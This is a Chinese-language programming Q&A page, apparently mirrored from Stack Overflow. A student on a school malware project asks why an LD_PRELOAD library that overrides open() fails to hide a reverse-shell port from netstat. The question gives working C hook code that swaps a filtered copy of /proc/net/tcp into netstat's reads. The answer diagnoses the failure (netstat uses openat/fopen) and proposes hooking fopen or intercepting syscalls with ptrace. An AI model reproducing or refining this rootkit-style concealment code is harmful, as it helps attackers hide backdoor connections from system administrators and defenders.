使用 LD_PRELOAD 覆盖 open 函数

问题描述 投票:0回答:1

我已经制作了一个库,我重写了 readdir 函数,并用它来掩盖一些进程,现在我尝试重写 open 函数,以隐藏打开的端口,这是我项目的一部分在学校,我必须打开一个 revershell 连接并将其覆盖。 netstat 使用 open 函数从 /proc/net/tcp 读取并显示打开的连接。我希望当尝试打开 /proc/net/tcp 文件时打开一个文件,该文件包含 /proc/net/tcp 文件的所有内容,但不包含我与反向 shell 连接的端口的行。文件已经制作完成,位于 /home/kali/Malware/project/hide_port/tcp 路径中。

我用c编写了这个程序

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
    
static int (*original_open)(const char *pathname, int flags, ...) = NULL;
static int redirected_fd = -1;
    
int open(const char *pathname, int flags, ...) {
    // Load the original open function if not loaded
    if (!original_open) {
        original_open = dlsym(RTLD_NEXT, "open");
        if (!original_open) {
            fprintf(stderr, "Error: Unable to load original open function\n");
            return -1;
        }
    }
    
    // Check if the file being opened is /proc/net/tcp
    if (strcmp(pathname, "/proc/net/tcp") == 0) {
        // If not already redirected, open the new file
        if (redirected_fd == -1) {
            redirected_fd = original_open("/home/kali/Malware/project/hide_port/tcp", O_RDONLY);
            if (redirected_fd == -1) {
                fprintf(stderr, "Error: Unable to open /home/kali/Malware/project/hide_port/tcp\n");
                return -1;
            }
        }
    
        // Return the redirected file descriptor
        return redirected_fd;
    } else {
        // Call the original open function for other files
        return original_open(pathname, flags);
    }
}

然后我像这样编译它

gcc -shared -fPIC -o libnetstat_hide.so hide_sshd.c -ldl

并且正在像这样运行 netstat,但仍然收到引用连接的行

LD_PRELOAD=./libnetstat_hide.so netstat

c port ld-preload
1个回答
0
投票

我做了什么:

  1. 我构建了你的
    .so
    并添加了调试
    printf
  2. 我使用
    netstat
     调用了 
    LD_PRELOAD
  3. 您的拦截
    open
    函数被没有调用(即没有调试
    printf
    输出)。
  4. 我在
    strace
  5. 下重新运行了所有这些
  6. 我检查了
    strace
    输出

简单的答案是

netstat
使用
openat
not
open
进行所有开放调用。


这是部分

strace
输出:

914095 1700075180.092774 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3
914095 1700075180.709689 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/tcp6", O_RDONLY) = 3
914095 1700075181.104876 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp/eps", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.104939 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp6/eps", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.104993 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp/assocs", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.105047 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp6/assocs", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.105099 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udp", O_RDONLY) = 3
914095 1700075181.105471 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udp6", O_RDONLY) = 3
914095 1700075181.105813 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udplite", O_RDONLY) = 3
914095 1700075181.106036 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udplite6", O_RDONLY) = 3
914095 1700075181.106262 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/raw", O_RDONLY) = 3
914095 1700075181.106438 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/raw6", O_RDONLY) = 3
914095 1700075181.106630 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/unix", O_RDONLY) = 3
914095 1700075181.118744 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ipx/socket", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118799 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ipx", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118853 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ax25", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118913 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/x25", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118965 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/nr", O_RDONLY) = -1 ENOENT (No such file or directory)

更新:

我已经做了很多测试。看起来

netstat
使用
fopen
。所以,压倒一切
open
[等。 al.] 不起作用,因为 glibc 的
fopen
将使用 open
internal
版本。因此,我们可能需要拦截
fopen

但是,由于

glibc
的构造方式,实际符号有些不清楚。

更简单的方法可能是在自定义

netstat
程序下运行
ptrace
。这将在系统调用级别进行拦截。无论
*open
调用
netstat
使用什么,它都会捕捉到东西。

看我的回答: 强制

pthread_create
出于测试目的而失败,了解如何拦截系统调用的示例。

© www.soinside.com 2019 - 2024. All rights reserved.